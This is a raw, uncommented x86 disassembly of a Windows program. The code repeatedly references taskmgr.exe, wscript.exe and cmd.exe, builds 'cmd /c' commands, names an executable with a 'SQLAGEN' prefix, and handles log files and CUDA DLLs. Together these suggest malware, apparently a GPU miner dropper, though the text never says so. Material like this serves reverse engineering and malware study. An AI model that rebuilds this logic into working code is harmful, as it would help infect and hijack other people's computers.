mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426d64
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426dab
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426df2
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426e39
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426e80
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426ec7
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f0e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f55
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f9c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426fe3
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42702a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427071
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4270b8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4270ff
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427146
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42718d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4271d4
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42721b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427262
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4272a9
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4272f0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427337
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42737e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4273c5
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42740c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427453
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42749a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4274e1
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42754d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427574
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4275e0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427607
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427673
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42769a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427706
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42772d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427799
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4277c0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42782c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427853
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4278bf
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4278e6
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503090
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42797d
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427990
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4279b3
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427a19
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427a2c
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427a4f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427ab5
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427ac8
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427aeb
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503098
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427b82
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427b95
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427bb8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427c1e
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427c31
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427c54
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427cba
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427ccd
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427cf0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427d56
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427d69
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427d8c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427df2
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427e05
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427e28
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503094
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427ebf
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427ed2
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427ef5
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427f5b
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427f6e
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427f91
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427ff7
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42800a
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42802d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0
push 2
call fcn.00413f14
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x42806b
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push str..exe
push dword [ebp - 0xc]
push str.SQLAGEN
push dword [ebp - 0x24]
mov ecx, 4
call fcn.00402eb2
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4280b4
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4280c7
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4280f0
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dde0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x428116
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
